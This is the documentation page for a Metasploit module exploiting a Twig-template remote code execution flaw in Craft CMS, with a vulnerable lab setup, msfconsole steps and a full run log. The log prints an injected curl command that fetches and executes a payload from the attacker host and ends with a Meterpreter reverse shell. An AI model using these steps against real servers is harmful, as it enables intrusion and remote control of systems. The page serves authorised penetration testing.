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Craftcms Ftp Template

documentation/modules/exploit/linux/http/craftcms_ftp_template.md

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Original Source

Vulnerable Application

This Metasploit module exploits a Remote Code Execution vulnerability in Craft CMS.

The vulnerability lies in improper handling of Twig templates, which can be exploited to inject and execute arbitrary PHP code on the server via crafted HTTP requests.

Affected Versions

  • 5.x Series: >= 5.0.0-RC1, < 5.5.2
  • 4.x Series: >= 4.0.0-RC1, < 4.13.2
  • 3.x Series: >= 3.0.0, < 3.9.14

Setting Up a Vulnerable Lab

To test this exploit, follow these steps to set up a vulnerable Craft CMS environment.

Docker Setup

Install a specific vulnerable version of Craft CMS:

bash
mkdir exploit-craft && \
cd exploit-craft && \
    # Configure DDEV (https://ddev.com/) project for Craft CMS \
ddev config \
  --project-type=craftcms \
  --docroot=web \
  --create-docroot \
  --php-version="8.2" \
  --database="mysql:8.0" \
  --nodejs-version="20" && \
    # Create the DDEV project
ddev start -y && \
    # Create Craft CMS with the specified version
ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \
    # Install a vulnerable Craft CMS version
ddev composer require "craftcms/cms:5.5.0" \
  --no-scripts \
  --no-interaction --with-all-dependencies && \
    # Set the security key for Craft CMS
ddev craft setup/security-key && \
    # Install Craft CMS
ddev craft install/craft \
    --username=admin \
    --password=password123 \
    [email protected] \
    --site-name=Testsite \
    --language=en \
    --site-url='$DDEV_PRIMARY_URL' && \
    # Enable register_argc_argv for PHP
mkdir -p .ddev/php/ && \
echo "register_argc_argv = On" > .ddev/php/php.ini && \
ddev restart && \
    # Launch the project
echo 'Setup complete. Launching the project.' && \
ddev launch

Verification Steps

  1. Start the vulnerable Craft CMS instance using the steps above.
  2. Launch msfconsole.
  3. Use the module: use exploit/linux/http/craftcms_ftp_template.
  4. Set RHOSTS to the target Craft CMS instance.
  5. Configure additional options (TARGETURI, SSL, etc.) as needed.
  6. Execute the exploit with the run command.
  7. If successful, the module will execute the payload on the target.

Options

No option

Scenarios

Successful Exploitation Against Craft CMS 5.5.0

Setup:

  • Local Craft CMS instance with a vulnerable version (e.g., 5.5.0).
  • Metasploit Framework.

Steps:

To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps:

  1. Start msfconsole:
bash
msfconsole
  1. Load the module:
bash
use exploit/linux/http/craftcms_ftp_template
  1. Set the RHOSTS option to the target Craft CMS instance, for example:
bash
set RHOSTS exploit-craft.ddev.site

  1. Configure other necessary options such as TARGETURI, SSL, and RPORT if required. By default:

    • RPORT is set to 80.
    • TARGETURI is set to /.

  2. Set the payload for exploitation. For example:

bash
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
  1. Set the local listener address and port:
bash
set LHOST 192.168.1.36
set LPORT 4444
  1. Optionally, customize FTP-related settings like SRVPORT and FETCH_URIPATH if needed:
bash
set SRVPORT 9090
set FETCH_SRVPORT 8081
set FETCH_URIPATH /custom_payload_path
  1. Run the exploit:
bash
exploit

Expected Results:

If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell:

bash
msf exploit(linux/http/craftcms_ftp_template) > options

Module options (exploit/linux/http/craftcms_ftp_template):

   Name      Current Setting          Required  Description
   ----      ---------------          --------  -----------
   PASVPORT  0                        no        The local PASV data port to listen on (0 is random)
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS    exploit-craft.ddev.site  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl
                                                oit.html
   RPORT     80                       yes       The target port (TCP)
   SRVHOST   192.168.1.36             yes       The local host or network interface to listen on. This must be an address on the local machine
                                                 or 0.0.0.0 to listen on all addresses.
   SRVPORT   9090                     yes       The local port to listen on.
   SSL       false                    no        Negotiate SSL for incoming connections
   SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
   VHOST                              no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      QnXFYebbb        no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8081             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               192.168.1.36     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix/Linux Command Shell



View the full module info with the info, or info -d command.

msf exploit(linux/http/craftcms_ftp_template) > exploit
[*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu&
[*] Exploit running as background job 57.
[*] Exploit completed, but no session was created.
msf exploit(linux/http/craftcms_ftp_template) >
[*] Fetch handler listening on 192.168.1.36:8081
[*] HTTP server started
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Performing vulnerability check...
[+] The target is vulnerable.
[*] Starting FTP service...
[*] Started service listener on 192.168.1.36:9090
[*] FTP server started on 192.168.1.36:9090
[*] Sending HTTP request to trigger the payload...
[*] Triggering HTTP request...
[*] -> 220 FTP Server Ready
[*] on_client_command_user
[*] -> 331 Username ok, send password.
[*] on_client_command_pass
[*] -> 230 Login successful.
[*] on_client_command_cwd
[*] -> 250 "/default" is current directory.
[*] on_client_command_type
[*] -> 200 Type set to: Binary.
[*] on_client_command_size
[*] -> 550 /default is not retrievable.
[*] on_client_command_mdtm
[*] -> 550 /default is not retrievable.
[*] -> 220 FTP Server Ready
[*] on_client_command_user
[*] -> 331 Username ok, send password.
[*] on_client_command_pass
[*] -> 230 Login successful.
[*] on_client_command_cwd
[*] -> 550 Not a directory
[*] on_client_command_type
[*] -> 200 Type set to: Binary.
[*] on_client_command_size
[*] -> 213 154
[*] on_client_command_mdtm
[*] -> 213 20250110170738
[*] -> 220 FTP Server Ready
[*] on_client_command_user
[*] -> 331 Username ok, send password.
[*] on_client_command_pass
[*] -> 230 Login successful.
[*] on_client_command_cwd
[*] -> 550 Not a directory
[*] on_client_command_type
[*] -> 200 Type set to: Binary.
[*] on_client_command_size
[*] -> 213 154
[*] on_client_command_mdtm
[*] -> 213 20250110170738
[*] -> 220 FTP Server Ready
[*] on_client_command_user
[*] -> 331 Username ok, send password.
[*] on_client_command_pass
[*] -> 230 Login successful.
[*] on_client_command_type
[*] -> 200 Type set to: Binary.
[*] on_client_command_size
[*] -> 213 154
[*] on_client_command_epsv
[*] -> 502 EPSV command not implemented.
[*] on_client_command_retr
[*] -> 150 Opening data connection for /default/index.twig
[*] -> 226 Transfer complete.
[*] on_client_command_quit
[*] -> 221 Goodbye.
[*] Client 172.26.0.2 requested /LoPlnjEpeOexZNVppn6cAA
[*] Sending payload to 172.26.0.2 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.26.0.2
[*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100

msf exploit(linux/http/craftcms_ftp_template) > sessions 14
[*] Starting interaction with 14...
meterpreter > sysinfo
Computer     : 172.26.0.2
OS           : Debian 12.8 (Linux 5.15.0-130-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
[*] Waiting for FTP client connections...
[*] Shutting down FTP service...
[*] Server stopped.